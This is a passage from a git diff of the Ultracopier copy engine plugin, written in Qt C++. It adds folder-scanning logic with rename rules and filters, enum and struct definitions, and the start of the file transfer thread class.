+ switch(folderExistsAction)
+ {
+ case FolderExists_Merge:
+ break;
+ case FolderExists_Skip:
+ return;
+ break;
+ case FolderExists_Rename:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"destination before rename: "+destination.absoluteFilePath());
+ if(newName.isEmpty())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"pattern: "+folder_isolation.pattern());
+ //resolv the new name
+ destinationSuffixPath=destination.baseName();
+ int num=1;
+ do
+ {
+ if(num==1)
+ {
+ if(firstRenamingRule.isEmpty())
+ destinationSuffixPath=tr("%1 - copy").arg(destination.baseName());
+ else
+ {
+ destinationSuffixPath=firstRenamingRule;
+ destinationSuffixPath.replace(QStringLiteral("%name%"),destination.baseName());
+ }
+ }
+ else
+ {
+ if(otherRenamingRule.isEmpty())
+ destinationSuffixPath=tr("%1 - copy (%2)").arg(destination.baseName()).arg(num);
+ else
+ {
+ destinationSuffixPath=otherRenamingRule;
+ destinationSuffixPath.replace(QStringLiteral("%name%"),destination.baseName());
+ destinationSuffixPath.replace(QStringLiteral("%number%"),QString::number(num));
+ }
+ }
+ num++;
+ if(destination.completeSuffix().isEmpty())
+ destination.setFile(destination.absolutePath()+text_slash+destinationSuffixPath);
+ else
+ destination.setFile(destination.absolutePath()+text_slash+destinationSuffixPath+text_dot+destination.completeSuffix());
+ }
+ while(destination.exists());
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"use new name: "+newName);
+ destinationSuffixPath = newName;
+ }
+ destination.setFile(destination.absolutePath()+text_slash+destinationSuffixPath);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"destination after rename: "+destination.absoluteFilePath());
+ break;
+ default:
+ return;
+ break;
+ }
+ }
+ //check if destination exists
+ if(checkDestinationExists)
+ {
+ if(destination.exists())
+ {
+ emit folderAlreadyExists(source,destination,false);
+ waitOneAction.acquire();
+ QString destinationSuffixPath;
+ switch(folderExistsAction)
+ {
+ case FolderExists_Merge:
+ break;
+ case FolderExists_Skip:
+ return;
+ break;
+ case FolderExists_Rename:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"destination before rename: "+destination.absoluteFilePath());
+ if(newName.isEmpty())
+ {
+ //resolv the new name
+ QFileInfo destinationInfo;
+ int num=1;
+ do
+ {
+ if(num==1)
+ {
+ if(firstRenamingRule.isEmpty())
+ destinationSuffixPath=tr("%1 - copy").arg(destination.baseName());
+ else
+ {
+ destinationSuffixPath=firstRenamingRule;
+ destinationSuffixPath.replace(QStringLiteral("%name%"),destination.baseName());
+ }
+ }
+ else
+ {
+ if(otherRenamingRule.isEmpty())
+ destinationSuffixPath=tr("%1 - copy (%2)").arg(destination.baseName()).arg(num);
+ else
+ {
+ destinationSuffixPath=otherRenamingRule;
+ destinationSuffixPath.replace(QStringLiteral("%name%"),destination.baseName());
+ destinationSuffixPath.replace(QStringLiteral("%number%"),QString::number(num));
+ }
+ }
+ destinationInfo.setFile(destinationInfo.absolutePath()+text_slash+destinationSuffixPath);
+ num++;
+ }
+ while(destinationInfo.exists());
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"use new name: "+newName);
+ destinationSuffixPath = newName;
+ }
+ if(destination.completeSuffix().isEmpty())
+ destination.setFile(destination.absolutePath()+text_slash+destinationSuffixPath);
+ else
+ destination.setFile(destination.absolutePath()+text_slash+destinationSuffixPath+QStringLiteral(".")+destination.completeSuffix());
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"destination after rename: "+destination.absoluteFilePath());
+ break;
+ default:
+ return;
+ break;
+ }
+ }
+ }
+ //do source check
+ //check of source is readable
+ do
+ {
+ fileErrorAction=FileError_NotSet;
+ if(!source.isReadable() || !source.isExecutable() || !source.exists() || !source.isDir())
+ {
+ if(!source.isDir())
+ emit errorOnFolder(source,tr("This is not a folder"));
+ else if(!source.exists())
+ emit errorOnFolder(source,tr("The folder does exists"));
+ else
+ emit errorOnFolder(source,tr("The folder is not readable"));
+ waitOneAction.acquire();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"actionNum: "+QString::number(fileErrorAction));
+ }
+ } while(fileErrorAction==FileError_Retry);
+ do
+ {
+ QDir tempDir(source.absoluteFilePath());
+ fileErrorAction=FileError_NotSet;
+ if(!tempDir.isReadable() || !tempDir.exists())
+ {
+ emit errorOnFolder(source,tr("Problem with name encoding"));
+ waitOneAction.acquire();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"actionNum: "+QString::number(fileErrorAction));
+ }
+ } while(fileErrorAction==FileError_Retry);
+ if(stopIt)
+ return;
+ /// \todo check here if the folder is not readable or not exists
+ QFileInfoList entryList;
+ if(copyListOrder)
+ entryList=QDir(source.absoluteFilePath()).entryInfoList(QDir::AllEntries|QDir::NoDotAndDotDot|QDir::Hidden|QDir::System,QDir::DirsFirst|QDir::Name|QDir::IgnoreCase);//possible wait time here
+ else
+ entryList=QDir(source.absoluteFilePath()).entryInfoList(QDir::AllEntries|QDir::NoDotAndDotDot|QDir::Hidden|QDir::System);//possible wait time here
+ if(stopIt)
+ return;
+ int sizeEntryList=entryList.size();
+ emit newFolderListing(source.absoluteFilePath());
+ if(mode!=Ultracopier::Move)
+ emit addToMkPath(source,destination,sizeEntryList);
+ for (int index=0;index<sizeEntryList;++index)
+ {
+ QFileInfo fileInfo=entryList.at(index);
+ if(stopIt)
+ return;
+ if(haveFilters)
+ {
+ if(reloadTheNewFilters)
+ {
+ QMutexLocker lock(&filtersMutex);
+ QCoreApplication::processEvents(QEventLoop::AllEvents);
+ reloadTheNewFilters=false;
+ this->include=this->include_send;
+ this->exclude=this->exclude_send;
+ }
+ QString fileName=fileInfo.fileName();
+ if(fileInfo.isDir() && !fileInfo.isSymLink())
+ {
+ bool excluded=false,included=(include.size()==0);
+ int filters_index=0;
+ while(filters_index<exclude.size())
+ {
+ if(exclude.at(filters_index).apply_on==ApplyOn_folder || exclude.at(filters_index).apply_on==ApplyOn_fileAndFolder)
+ {
+ if(fileName.contains(exclude.at(filters_index).regex))
+ {
+ excluded=true;
+ break;
+ }
+ }
+ filters_index++;
+ }
+ if(excluded)
+ {}
+ else
+ {
+ filters_index=0;
+ while(filters_index<include.size())
+ {
+ if(include.at(filters_index).apply_on==ApplyOn_folder || include.at(filters_index).apply_on==ApplyOn_fileAndFolder)
+ {
+ if(fileName.contains(include.at(filters_index).regex))
+ {
+ included=true;
+ break;
+ }
+ }
+ filters_index++;
+ }
+ if(!included)
+ {}
+ else
+ listFolder(fileInfo,destination.absoluteFilePath()+text_slash+fileInfo.fileName());
+ }
+ }
+ else
+ {
+ bool excluded=false,included=(include.size()==0);
+ int filters_index=0;
+ while(filters_index<exclude.size())
+ {
+ if(exclude.at(filters_index).apply_on==ApplyOn_file || exclude.at(filters_index).apply_on==ApplyOn_fileAndFolder)
+ {
+ if(fileName.contains(exclude.at(filters_index).regex))
+ {
+ excluded=true;
+ break;
+ }
+ }
+ filters_index++;
+ }
+ if(excluded)
+ {}
+ else
+ {
+ filters_index=0;
+ while(filters_index<include.size())
+ {
+ if(include.at(filters_index).apply_on==ApplyOn_file || include.at(filters_index).apply_on==ApplyOn_fileAndFolder)
+ {
+ if(fileName.contains(include.at(filters_index).regex))
+ {
+ included=true;
+ break;
+ }
+ }
+ filters_index++;
+ }
+ if(!included)
+ {}
+ else
+ #ifndef ULTRACOPIER_PLUGIN_RSYNC
+ emit fileTransfer(fileInfo,destination.absoluteFilePath()+text_slash+fileInfo.fileName(),mode);
+ #else
+ {
+ bool sendToTransfer=false;
+ if(!rsync)
+ sendToTransfer=true;
+ else if(!QFile::exists(destination.absoluteFilePath()+"/"+fileInfo.fileName()))
+ sendToTransfer=true;
+ else if(fileInfo.lastModified()!=QFileInfo(destination.absoluteFilePath()+"/"+fileInfo.fileName()).lastModified())
+ sendToTransfer=true;
+ if(sendToTransfer)
+ emit fileTransfer(fileInfo.absoluteFilePath(),destination.absoluteFilePath()+"/"+fileInfo.fileName(),mode);
+ }
+ #endif
+ }
+ }
+ }
+ else
+ {
+ if(fileInfo.isDir() && !fileInfo.isSymLink())//possible wait time here
+ //listFolder(source,destination,suffixPath+fileInfo.fileName()+QDir::separator());
+ listFolder(fileInfo,destination.absoluteFilePath()+text_slash+fileInfo.fileName());//put unix separator because it's transformed into that's under windows too
+ else
+ #ifndef ULTRACOPIER_PLUGIN_RSYNC
+ emit fileTransfer(fileInfo,destination.absoluteFilePath()+text_slash+fileInfo.fileName(),mode);
+ #else
+ {
+ bool sendToTransfer=false;
+ if(!rsync)
+ sendToTransfer=true;
+ else if(!QFile::exists(destination.absoluteFilePath()+"/"+fileInfo.fileName()))
+ sendToTransfer=true;
+ else if(fileInfo.lastModified()!=QFileInfo(destination.absoluteFilePath()+"/"+fileInfo.fileName()).lastModified())
+ sendToTransfer=true;
+ if(sendToTransfer)
+ emit fileTransfer(fileInfo.absoluteFilePath(),destination.absoluteFilePath()+"/"+fileInfo.fileName(),mode);
+ }
+ #endif
+ }
+ }
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ if(rsync)
+ {
+ //check the reverse path here
+ QFileInfoList entryListDestination;
+ if(copyListOrder)
+ entryListDestination=QDir(destination.absoluteFilePath()).entryInfoList(QDir::AllEntries|QDir::NoDotAndDotDot|QDir::Hidden|QDir::System,QDir::DirsFirst|QDir::Name|QDir::IgnoreCase);//possible wait time here
+ else
+ entryListDestination=QDir(destination.absoluteFilePath()).entryInfoList(QDir::AllEntries|QDir::NoDotAndDotDot|QDir::Hidden|QDir::System);//possible wait time here
+ int sizeEntryListDestination=entryListDestination.size();
+ int index=0;
+ for (int indexDestination=0;indexDestination<sizeEntryListDestination;++indexDestination)
+ {
+ index=0;
+ while(index<sizeEntryList)
+ {
+ if(entryListDestination.at(indexDestination).fileName()==entryList.at(index).fileName())
+ break;
+ index++;
+ }
+ if(index==sizeEntryList)
+ {
+ //then not found, need be remove
+ emit addToRmForRsync(entryListDestination.at(indexDestination));
+ }
+ }
+ return;
+ }
+ #endif
+ if(mode==Ultracopier::Move)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"source: "+source.absoluteFilePath()+", sizeEntryList: "+QString::number(sizeEntryList));
+ emit addToMovePath(source,destination,sizeEntryList);
+ }
+}
+
+//set if need check if the destination exists
+void ScanFileOrFolder::setCheckDestinationFolderExists(const bool checkDestinationFolderExists)
+{
+ this->checkDestinationExists=checkDestinationFolderExists;
+}
+
+void ScanFileOrFolder::setRenamingRules(const QString &firstRenamingRule, const QString &otherRenamingRule)
+{
+ this->firstRenamingRule=firstRenamingRule;
+ this->otherRenamingRule=otherRenamingRule;
+}
+
+void ScanFileOrFolder::setMoveTheWholeFolder(const bool &moveTheWholeFolder)
+{
+ this->moveTheWholeFolder=moveTheWholeFolder;
+}
+
+void ScanFileOrFolder::setCopyListOrder(const bool &order)
+{
+ this->copyListOrder=order;
+}
+
+#ifdef ULTRACOPIER_PLUGIN_RSYNC
+/// \brief set rsync
+void ScanFileOrFolder::setRsync(const bool rsync)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"set rsync: "+QString::number(rsync));
+ this->rsync=rsync;
+}
+#endif
+
+void ScanFileOrFolder::set_updateMount()
+{
+ driveManagement.tryUpdate();
+}
diff --git a/plugins/CopyEngine/Ultracopier/ScanFileOrFolder.h b/plugins/CopyEngine/Ultracopier/ScanFileOrFolder.h
new file mode 100644
index 0000000..e9e59ce
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/ScanFileOrFolder.h
@@ -0,0 +1,108 @@
+/** \file scanFileOrFolder.h
+\brief Thread changed to list recursively the folder
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#include <QThread>
+#include <QStringList>
+#include <QString>
+#include <QList>
+#include <QFileInfo>
+#include <QDir>
+#include <QSemaphore>
+#include <QEventLoop>
+#include <QCoreApplication>
+#include <QMutexLocker>
+
+#include "Environment.h"
+#include "DriveManagement.h"
+
+#ifndef SCANFILEORFOLDER_H
+#define SCANFILEORFOLDER_H
+
+/// \brief Thread changed to list recursively the folder
+class ScanFileOrFolder : public QThread
+{
+ Q_OBJECT
+public:
+ explicit ScanFileOrFolder(const Ultracopier::CopyMode &mode);
+ ~ScanFileOrFolder();
+ /// \brief to the a folder listing
+ void stop();
+ /// \brief to get if is finished
+ bool isFinished() const;
+ /// \brief set action if Folder are same or exists
+ void setFolderExistsAction(const FolderExistsAction &action,const QString &newName="");
+ /// \brief set action if error
+ void setFolderErrorAction(const FileErrorAction &action);
+ /// \brief set if need check if the destination exists
+ void setCheckDestinationFolderExists(const bool checkDestinationFolderExists);
+ void setRenamingRules(const QString &firstRenamingRule,const QString &otherRenamingRule);
+ void setMoveTheWholeFolder(const bool &moveTheWholeFolder);
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ void setRsync(const bool rsync);
+ #endif
+signals:
+ void fileTransfer(const QFileInfo &source,const QFileInfo &destination,const Ultracopier::CopyMode &mode) const;
+ /// \brief To debug source
+ void debugInformation(const Ultracopier::DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne) const;
+ void folderAlreadyExists(const QFileInfo &source,const QFileInfo &destination,const bool &isSame) const;
+ void errorOnFolder(const QFileInfo &fileInfo,const QString &errorString,const ErrorType &errorType=ErrorType_FolderWithRety) const;
+ void finishedTheListing() const;
+
+ void newFolderListing(const QString &path) const;
+ void addToMkPath(const QFileInfo& source,const QFileInfo& destination, const int& inode) const;
+ void addToMovePath(const QFileInfo& source,const QFileInfo& destination, const int& inodeToRemove) const;
+ void addToRealMove(const QFileInfo& source,const QFileInfo& destination) const;
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ void addToRmForRsync(const QFileInfo& destination) const;
+ #endif
+public slots:
+ void addToList(const QStringList& sources,const QString& destination);
+ void setFilters(const QList<Filters_rules> &include,const QList<Filters_rules> &exclude);
+ void setCopyListOrder(const bool &order);
+ void set_updateMount();
+protected:
+ void run();
+private:
+ DriveManagement driveManagement;
+ bool moveTheWholeFolder;
+ QStringList sources;
+ QString destination;
+ volatile bool stopIt;
+ void listFolder(QFileInfo source, QFileInfo destination);
+ bool isBlackListed(const QFileInfo &destination);
+ QFileInfo resolvDestination(const QFileInfo &destination);
+ volatile bool stopped;
+ QSemaphore waitOneAction;
+ FolderExistsAction folderExistsAction;
+ FileErrorAction fileErrorAction;
+ volatile bool checkDestinationExists;
+ QString newName;
+ bool copyListOrder;
+ QRegularExpression folder_isolation;
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ bool rsync;
+ #endif
+ Ultracopier::CopyMode mode;
+ QList<Filters_rules> include,exclude;
+ QList<Filters_rules> include_send,exclude_send;
+ bool reloadTheNewFilters;
+ bool haveFilters;
+ QMutex filtersMutex;
+ QString firstRenamingRule;
+ QString otherRenamingRule;
+ QStringList blackList;
+ /** Parse the multiple wildcard source, it allow resolv multiple wildcard with Qt into their path
+ * The string: /toto/f*a/yy*a/toto.mp3
+ * Will give: /toto/f1a/yy*a/toto.mp3, /toto/f2a/yy*a/toto.mp3
+ * Will give: /toto/f2a/yy1a/toto.mp3, /toto/f2a/yy2a/toto.mp3
+ */
+ QStringList parseWildcardSources(const QStringList &sources) const;
+
+ static QString text_slash;
+ static QString text_antislash;
+ static QString text_dot;
+};
+
+#endif // SCANFILEORFOLDER_H
diff --git a/plugins/CopyEngine/Ultracopier/StructEnumDefinition.h b/plugins/CopyEngine/Ultracopier/StructEnumDefinition.h
new file mode 100644
index 0000000..c1758f4
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/StructEnumDefinition.h
@@ -0,0 +1 @@
+#include "../../../StructEnumDefinition.h"
diff --git a/plugins/CopyEngine/Ultracopier/StructEnumDefinition_CopyEngine.h b/plugins/CopyEngine/Ultracopier/StructEnumDefinition_CopyEngine.h
new file mode 100644
index 0000000..0b23c29
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/StructEnumDefinition_CopyEngine.h
@@ -0,0 +1,124 @@
+/** \file StructEnumDefinition_CopyEngine.h
+\brief Define the structure and enumeration used in the copy engine
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#include <QString>
+#include <QRegularExpression>
+
+#ifndef STRUCTDEF_COPYENGINE_H
+#define STRUCTDEF_COPYENGINE_H
+
+/// \brief Define action if file exists
+enum FileExistsAction
+{
+ FileExists_NotSet=0,
+ FileExists_Cancel=1,
+ FileExists_Skip=2,
+ FileExists_Overwrite=3,
+ FileExists_OverwriteIfNotSame=4,
+ FileExists_OverwriteIfNewer=5,
+ FileExists_OverwriteIfOlder=6,
+ FileExists_Rename=7
+};
+
+/// \brief Define action if file error
+enum FileErrorAction
+{
+ FileError_NotSet=1,
+ FileError_Cancel=2,
+ FileError_Skip=3,
+ FileError_Retry=4,
+ FileError_PutToEndOfTheList=5
+};
+
+enum TransferAlgorithm
+{
+ TransferAlgorithm_Automatic=0,
+ TransferAlgorithm_Sequential=1,
+ TransferAlgorithm_Parallel=2
+};
+
+/// \brief to have the transfer status
+enum TransferStat
+{
+ TransferStat_Idle=0,
+ TransferStat_PreOperation=1,
+ TransferStat_WaitForTheTransfer=2,
+ TransferStat_Transfer=3,
+ TransferStat_Checksum=4,
+ TransferStat_PostTransfer=5,
+ TransferStat_PostOperation=6
+};
+
+/// \brief Define overwrite mode
+/*enum OverwriteMode
+{
+ OverwriteMode_None,
+ OverwriteMode_Overwrite,
+ OverwriteMode_OverwriteIfNewer,
+ OverwriteMode_OverwriteIfNotSameModificationDate
+};*/
+
+/// \brief Define action if file exists
+enum FolderExistsAction
+{
+ FolderExists_NotSet=0,
+ FolderExists_Cancel=1,
+ FolderExists_Merge=2,
+ FolderExists_Skip=3,
+ FolderExists_Rename=4
+};
+
+enum ErrorType
+{
+ ErrorType_Normal=0,
+ ErrorType_Folder=1,
+ ErrorType_FolderWithRety=2,
+ ErrorType_Rights=3
+};
+
+enum SearchType
+{
+ SearchType_rawText=0,
+ SearchType_simpleRegex=1,
+ SearchType_perlRegex=2
+};
+
+enum ApplyOn
+{
+ ApplyOn_file=0,
+ ApplyOn_fileAndFolder=1,
+ ApplyOn_folder=2
+};
+
+/** to store into different way the filter rules to be exported */
+struct Filters_rules
+{
+ QString search_text;
+ SearchType search_type;
+ ApplyOn apply_on;
+ bool need_match_all;
+ QRegularExpression regex;
+};
+
+/// \brief get action type
+enum ActionType
+{
+ ActionType_MkPath=1,
+ ActionType_MovePath=2,
+ ActionType_RealMove=3
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ ,
+ ActionType_RmSync=4
+ #endif
+};
+
+struct Diskspace
+{
+ QString drive;
+ quint64 requiredSpace;
+ quint64 freeSpace;
+};
+
+#endif // STRUCTDEF_COPYENGINE_H
diff --git a/plugins/CopyEngine/Ultracopier/TransferThread.cpp b/plugins/CopyEngine/Ultracopier/TransferThread.cpp
new file mode 100644
index 0000000..1ae0a9d
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/TransferThread.cpp
@@ -0,0 +1,2081 @@
+//presume bug linked as multple paralelle inode to resume after "overwrite"
+//then do overwrite node function to not re-set the file name
+
+#include "TransferThread.h"
+#ifdef Q_OS_WIN32
+#include <windows.h>
+#endif
+
+#ifdef Q_OS_WIN32
+ #ifndef ULTRACOPIER_PLUGIN_SET_TIME_UNIX_WAY
+ #ifndef NOMINMAX
+ #define NOMINMAX
+ #endif
+ #include <windows.h>
+ #endif
+#endif
+
+TransferThread::TransferThread() :
+ haveStartTime (false),
+ transfer_stat (TransferStat_Idle),
+ doRightTransfer (false),
+ #ifdef ULTRACOPIER_PLUGIN_RSYNC
+ rsync (false),
+ #endif
+ stopIt (false),
+ fileExistsAction (FileExists_NotSet),
+ alwaysDoFileExistsAction (FileExists_NotSet),
+ needSkip (false),
+ needRemove (false),
+ deletePartiallyTransferredFiles (true),
+ writeError (false),
+ readError (false),
+ renameTheOriginalDestination (false)
+{
+ start();
+ moveToThread(this);
+ readThread.setWriteThread(&writeThread);
+ source.setCaching(false);
+ destination.setCaching(false);
+ renameRegex=QRegularExpression(QStringLiteral("^(.*)(\\.[a-z0-9]+)$"));
+ #ifdef Q_OS_WIN32
+ #ifndef ULTRACOPIER_PLUGIN_SET_TIME_UNIX_WAY
+ regRead=QRegularExpression(QStringLiteral("^[a-z]:"));
+ #endif
+ #endif
+
+ minTime=QDateTime(QDate(ULTRACOPIER_PLUGIN_MINIMALYEAR,1,1));
+}
+
+TransferThread::~TransferThread()
+{
+ stopIt=true;
+ readThread.exit();
+ readThread.wait();
+ writeThread.exit();
+ writeThread.wait();
+ exit();
+ //else cash without this disconnect
+ //disconnect(&readThread);
+ //disconnect(&writeThread);
+ wait();
+}
+
+void TransferThread::run()
+{
+ //ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start: ")+QString::number((qint64)QThread::currentThreadId())));
+ transfer_stat = TransferStat_Idle;
+ stopIt = false;
+ fileExistsAction = FileExists_NotSet;
+ alwaysDoFileExistsAction= FileExists_NotSet;
+ //the error push
+ connect(&readThread,&ReadThread::error, this, &TransferThread::getReadError, Qt::QueuedConnection);
+ connect(&writeThread,&WriteThread::error, this, &TransferThread::getWriteError, Qt::QueuedConnection);
+ //the thread change operation
+ connect(this,&TransferThread::internalStartPreOperation, this, &TransferThread::preOperation, Qt::QueuedConnection);
+ connect(this,&TransferThread::internalStartPostOperation, this, &TransferThread::postOperation, Qt::QueuedConnection);
+ //the state change operation
+ connect(&readThread,&ReadThread::opened, this, &TransferThread::readIsReady, Qt::QueuedConnection);
+ connect(&writeThread,&WriteThread::opened, this, &TransferThread::writeIsReady, Qt::QueuedConnection);
+ connect(&readThread,&ReadThread::readIsStopped, this, &TransferThread::readIsStopped, Qt::QueuedConnection);
+ connect(&writeThread,&WriteThread::writeIsStopped, this, &TransferThread::writeIsStopped, Qt::QueuedConnection);
+ connect(&readThread,&ReadThread::readIsStopped, &writeThread, &WriteThread::endIsDetected, Qt::QueuedConnection);
+ connect(&readThread,&ReadThread::closed, this, &TransferThread::readIsClosed, Qt::QueuedConnection);
+ connect(&writeThread,&WriteThread::closed, this, &TransferThread::writeIsClosed, Qt::QueuedConnection);
+ connect(&writeThread,&WriteThread::reopened, this, &TransferThread::writeThreadIsReopened, Qt::QueuedConnection);
+ connect(&readThread,&ReadThread::checksumFinish, this, &TransferThread::readChecksumFinish, Qt::QueuedConnection);
+ connect(&writeThread,&WriteThread::checksumFinish, this, &TransferThread::writeChecksumFinish, Qt::QueuedConnection);
+ //error management
+ connect(&readThread,&ReadThread::isSeekToZeroAndWait, this, &TransferThread::readThreadIsSeekToZeroAndWait, Qt::QueuedConnection);
+ connect(&readThread,&ReadThread::resumeAfterErrorByRestartAtTheLastPosition,this, &TransferThread::readThreadResumeAfterError, Qt::QueuedConnection);
+ connect(&readThread,&ReadThread::resumeAfterErrorByRestartAll,&writeThread, &WriteThread::flushAndSeekToZero, Qt::QueuedConnection);
+ connect(&writeThread,&WriteThread::flushedAndSeekedToZero, this, &TransferThread::readThreadResumeAfterError, Qt::QueuedConnection);
+ connect(this,&TransferThread::internalTryStartTheTransfer, this, &TransferThread::internalStartTheTransfer, Qt::QueuedConnection);
+
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ connect(&readThread,&ReadThread::debugInformation, this, &TransferThread::debugInformation, Qt::QueuedConnection);
+ connect(&writeThread,&WriteThread::debugInformation, this, &TransferThread::debugInformation, Qt::QueuedConnection);
+ connect(&driveManagement,&DriveManagement::debugInformation,this, &TransferThread::debugInformation, Qt::QueuedConnection);
+ #endif
+
+ exec();
+}
+
+TransferStat TransferThread::getStat() const
+{
+ return transfer_stat;
+}
+
+void TransferThread::startTheTransfer()
+{
+ emit internalTryStartTheTransfer();
+}
+
+void TransferThread::internalStartTheTransfer()
+{
+ if(transfer_stat==TransferStat_Idle)
+ {
+ if(mode!=Ultracopier::Move)
+ {
+ /// \bug can pass here because in case of direct move on same media, it return to idle stat directly
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] can't start transfert at idle"));
+ }
+ return;
+ }
+ if(transfer_stat==TransferStat_PostOperation)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] can't start transfert at PostOperation"));
+ return;
+ }
+ if(transfer_stat==TransferStat_Transfer)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] can't start transfert at Transfer"));
+ return;
+ }
+ if(canStartTransfer)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] canStartTransfer is already set to true"));
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] check how start the transfer"));
+ canStartTransfer=true;
+ if(readIsReadyVariable && writeIsReadyVariable)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start directly the transfer"));
+ ifCanStartTransfer();
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start the transfer as delayed"));
+}
+
+bool TransferThread::setFiles(const QFileInfo& source,const qint64 &size,const QFileInfo& destination,const Ultracopier::CopyMode &mode)
+{
+ if(transfer_stat!=TransferStat_Idle)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] already used, source: ")+source.absoluteFilePath()+QStringLiteral(", destination: ")+destination.absoluteFilePath());
+ return false;
+ }
+ //to prevent multiple file alocation into ListThread::doNewActions_inode_manipulation()
+ transfer_stat = TransferStat_PreOperation;
+ //emit pushStat(stat,transferId);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start, source: ")+source.absoluteFilePath()+QStringLiteral(", destination: ")+destination.absoluteFilePath());
+ this->source = source;
+ this->destination = destination;
+ this->mode = mode;
+ this->size = size;
+ stopIt = false;
+ fileExistsAction = FileExists_NotSet;
+ canStartTransfer = false;
+ sended_state_preOperationStopped= false;
+ canBeMovedDirectlyVariable = false;
+ canBeCopiedDirectlyVariable = false;
+ fileContentError = false;
+ real_doChecksum = false;
+ writeError = false;
+ writeError_source_seeked = false;
+ writeError_destination_reopened = false;
+ readError = false;
+ fileContentError = false;
+ resetExtraVariable();
+ emit internalStartPreOperation();
+ return true;
+}
+
+void TransferThread::setFileExistsAction(const FileExistsAction &action)
+{
+ if(transfer_stat!=TransferStat_PreOperation)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] already used, source: ")+source.absoluteFilePath()+QStringLiteral(", destination: ")+destination.absoluteFilePath());
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] action: ")+QString::number(action));
+ if(action!=FileExists_Rename)
+ fileExistsAction = action;
+ else
+ {
+ //always rename pass here
+ fileExistsAction = action;
+ alwaysDoFileExistsAction=action;
+ }
+ if(action==FileExists_Skip)
+ {
+ skip();
+ return;
+ }
+ resetExtraVariable();
+ emit internalStartPreOperation();
+}
+
+void TransferThread::setFileRename(const QString &nameForRename)
+{
+ if(transfer_stat!=TransferStat_PreOperation)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] already used, source: ")+source.absoluteFilePath()+QStringLiteral(", destination: ")+destination.absoluteFilePath());
+ return;
+ }
+ if(nameForRename.contains(QRegularExpression(QStringLiteral("[/\\\\\\*]"))))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] can't use this kind of name, internal error"));
+ emit errorOnFile(destination,tr("Try rename with using special characters"));
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] nameForRename: ")+nameForRename);
+ if(!renameTheOriginalDestination)
+ destination.setFile(destination.absolutePath()+QDir::separator()+nameForRename);
+ else
+ {
+ QString tempDestination=destination.absoluteFilePath();
+ QFile destinationFile(tempDestination);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("rename %1: to: %2").arg(destination.absoluteFilePath()).arg(destination.absolutePath()+QDir::separator()+nameForRename));
+ if(!destinationFile.rename(destination.absolutePath()+QDir::separator()+nameForRename))
+ {
+ if(!destinationFile.exists())
+ {
